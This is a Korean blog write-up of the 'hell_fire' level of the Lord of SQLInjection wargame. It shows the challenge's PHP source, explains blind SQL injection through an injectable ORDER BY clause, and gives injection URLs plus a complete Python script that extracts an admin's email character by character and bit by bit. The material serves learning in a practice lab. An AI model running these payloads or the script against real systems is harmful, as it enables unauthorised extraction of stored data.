LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 dark_eyes에 이어 hell_fire 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

hell_fire문제는 매우 삽질을 많이 해봤습니다.


제가 수행했던 삽질은 코드를 이렇게도 써보고, 저렇게도 써보고... 값이 나오는지 안 나오는지 계에에에속 확인해봤습니다.

그러나 해당 포스트에서는 삽질 중에 성공한 삽질만 정리하여 작성할 것입니다.


 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysql_query($query);
  while(($result = mysql_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>


위의 문제는 이전의 문제들과 조금 다른 점이 있습니다.

order by 를 통해 값이 정렬되며, 정렬된 값이 있다면 그 값이 반환되어 테이블에 보인다는 것입니다.


이 문제에서는 order by에 대한 이해를 바탕으로 값을 알아내야 합니다..

이도 어쩌면 order by를 이용한 Blind SQL Injection이 아닐까 생각해봅니다.



 

 MySQL Order By 이해


먼저, order by를 이용하여 Blind SQL Injection을 수행해야 하기 때문에, 간단한 order by문을 이용해보려 합니다.


 

 order by 정렬


order by는 정렬을 오름차순, 내림차순 등으로 수행할 수 있는 조건문입니다.

정렬을 수행할 때 order by 조건은 다음과 같이 두 가지 형태로 줄 수 있습니다.


(1) order by [컬럼 이름];

(2) order by [컬럼 이름]='값';


위의 두 가지 형태로 값을 입력하게 되면 조건에 맞는 값의 순서대로 정렬되게 됩니다.


만약 (1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬되게 됩니다.

그러나 (2)와 같이 정렬하게 되면, 값이 일치하는가의 여부에 따라 정렬되게 됩니다.


또한 추가적으로, (2)와 같이 정렬할 때 값이 일치하는 게 아래로, 아닌 것이 위로 올라가게 됩니다.

이는 다음과 같이 비유할 수 있습니다.


if (order by id='1') ==> 값이 일치하면 참을 반환하여 1이 반환됨

if (order by id='1') ==> 값이 일치하지 않으면 거짓을 반환하여 0이 반환됨

if (order by id='1') ==> 비교할 값이 없으면 NULL이 반환되어 -1이 반환됨(이건 제 뇌피셜입니다.)


따라서 값의 일치여부와 존재여부에 따라 -1, 0, 1의 순서대로 정렬되기 때문에 참일 경우 가장 아래로 내려가는 것이라고 판단됩니다.


 

 정렬 조건 나열


order by는 정렬하려는 조건을 여러 개를 둘 수 있습니다.

즉, order by id,pw 이렇게 할 수 있다는 것입니다.


이는 id로 정렬하고, 만약 id와 정렬 기준이 같을 때, pw로 다시 정렬을 수행하라, 라고 정렬 조건을 줄 수 있다는 것입니다.



 

 정렬하고자 하는 값이 동일하면?


정렬하고자 하는 값이 동일할 때는 그 조건을 통해 변화가 일어나지 않습니다.

만약 admin의 4번째 글자와 rubiya의 4번째 글자를 비교하게 되면, 둘 다 거짓일 경우와 둘 다 참일 경우 외에는 나타나지 않습니다. 이 말은 즉, 뒤에 어떠한 조건을 더 붙여준들 정렬 순서가 바뀌지 않는다는 것입니다.


이럴 경우에 발생하는 예외를 따로 처리해주어야 합니다.



 

 

 문제 풀이(쿼리)

 

해당 문제에서는 비트별로 값을 알아내는 것보다 hex 값으로 값을 알아내는 방법을 이용하였습니다.

 

 

 

 E-mail 길이 알아내기


order by를 이용한 아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=1,id=%27rubiya%27

 

위의 쿼리는 email의 길이가 1인 것을 기준으로 먼저 정렬하고, 다음으로 id 값이 rubiya인 것을 기준으로 정렬하였습니다.

이는 order=length(email)=1,id='rubiya' 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 email의 길이가 1이 아니기 때문에 첫 번째 정렬기준이 아닌 두 번째 정렬 기준으로 정렬됩니다. 즉, rubiya 컬림이 아래로 내려간 모습의 정렬이 이루어집니다.

 

다음 쿼리는 admin의 email 길이가 일치하였을 경우입니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=28,id=%27rubiya%27

 

위와 같이 쿼리를 날렸을 때, admin 컬럼이 아래로 내려가게 됩니다.


 

 

 

 E-mail 값 알아내기 - null 영역이 아닌 곳


rubiya의 E-mail의 길이는 18입니다.

그러나 admin의 E-mail 길이는 28로 나타나 있습니다.

만약 아래와 같은 쿼리를 이용하게 되면, NULL이 아닌 구간까지는 무난하게 구할 수 있습니다. 하지만 19번째 구간부터는 비교할 값이 없기 때문에 다른 방법으로 값을 구해야 합니다.


먼저, null 영역이 아닌 곳을 구할 수 있는 쿼리는 다음과 같습니다.

  https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=conv(hex(substr(email,1,1)),16,10)=97,id=%27rubiya%27

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

conv(hex(substr(email,1,1)),16,10)=97,id='rubiya'

여기서는 substr 함수를 이용하여 email의 첫 번째 글자의 10진수 값이 97인('a')인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하라! 입니다.


이 쿼리에서는 admin의 email 값의 첫 번째 글자가 'a'이기 때문에 admin의 컬럼이 아래로 내려가게 됩니다.




 

 E-mail 값 알아내기 = null 영역인 곳


rubiya의 E-mail의 길이가 18이므로, 19번째 값부터는 어떤 값을 비교하든 정렬이 제대로 이루어지지 않습니다.

그렇다면, 여기서는 다른 방법의 쿼리를 이용하는 것이 좋습니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1,id='rubiya'


위의 쿼리는 비트 값이 1이냐 0이냐를 이용하여 값을 알아내는 쿼리입니다.

위와 같은 쿼리를 이용하게 되면, 각 비트의 값을 알아낼 수 있습니다.



 

 P.S.


값을 모두 비교할 때 NULL 영역을 비교하는 것처럼 모두 비교하면 되지 않느냐?? 할 수 있습니다.

제가 삽질해본 결과 다음과 같은 단점이 발생합니다.


만약 같은 자리의 비트의 값이 같으면?


비트의 값이 같을 수 있는 경우는 두 가지로 0일 때와 1일 때 입니다. 하지만 이 두 경우는 구분해줄 수 없습니다...

뒤의 조건문으로 어떻게 해결할 수 없는 문제입니다.


따라서, null이 아닌 경우에는 비트가 같은 경우가 생기기 때문에 hex 값으로 비교해주는 것이 좋습니다.


만약 hex 값으로 비교하게 되면, rubiya와 같은 경우 이외에는 없기 때문에 그나마 예외로 처리해줄 수 있게 됩니다.

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order='
headers = {'Cookie': 'PHPSESSID=pbf1b42v85vbjneir5beukkvn5'}


# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen = 0

for i in range(1, 100):
    payload = "length(email)=" + str(i) + ",id='rubiya'"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'idemailscorerubiya' in res.text:
        emailLen = i
        break
    else:
        pass

print('[=] Find E-mail Length : %d' % emailLen)


# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front    = ''
rubiya   = 'rubiya805@gmail.cm'

for j in range(1, emailLen+1):
    for i in range(0, 129):
        payload = "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            if i == 0:
                break
            print('[=] Find Char : ', chr(i), ' : ', hex(i))
            Front += chr(i)
            break
        else:
            pass

    if i == 128:
        print('[=] Find Char : ', rubiya[j-1], ' :  same with rubiya')
        Front += rubiya[j-1]


print('[=] Find Front String : ', Front)

# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen = 16
Back   = ''

for j in range(len(Front)+1, emailLen+1):
    
    bit = ''

    for i in range(1, bitLen+1):
        payload = "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            # True
            bit += '1'
        else:
            bit += '0'

    print(' =  Find Back Char    : ', chr(int(bit, 2)), '  :  ', bit)

    Back += chr(int(bit, 2))

print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front + Back)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

+ Recent posts